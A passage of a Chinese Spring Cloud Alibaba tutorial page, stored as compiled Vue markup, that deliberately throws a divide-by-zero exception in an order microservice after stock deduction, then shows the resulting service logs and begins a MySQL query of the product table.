function"}},[s._v("updateCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProductId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"触发了商品微服务的容错逻辑: "')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HttpCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nlog"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\nrocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br")])]),a("p",[s._v("修改后的部分代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Result")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" result "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" productService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("updateCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProductId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"触发了商品微服务的容错逻辑: "')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HttpCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nlog"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" i"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\nrocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br")])]),a("p",[a("strong",[s._v("注意:这里只给出了修改的部分代码,修改后的完整代码,加入【冰河技术】知识星球获取。")])]),s._v(" "),a("p",[s._v("(2)修改订单微服务的"),a("code",[s._v("io.binghe.shop.order.controller.OrderController")]),s._v("类中注入的OrderService的bean名称,将其修改为orderServiceV8,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Qualifier")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV8"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" orderService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[s._v("(3)分别启动Nacos、Sentinel、ZinKin、RocketMQ,并启动用户微服务,商品微服务,订单微服务和服务网关。打开浏览器访问"),a("code",[s._v("http://localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("返回的原始数据如下所示。")]),s._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"code"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("500")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"codeMsg"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"执行失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"data"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/ by zero"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,下单减库存时,系统已经抛出了异常。")]),s._v(" "),a("p",[s._v("(4)查看各个微服务和网关输出的日志信息,分别如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,用户微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("商品微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":100"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,商品微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("订单微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n服务器抛出了异常:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\njava.lang.ArithmeticException: / by zero\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("可以看到,订单微服务抛出了ArithmeticException异常。")]),s._v(" "),a("ul",[a("li",[s._v("网关服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1054ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("可以看到,网关服务无异常信息。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据-2"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-2"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token 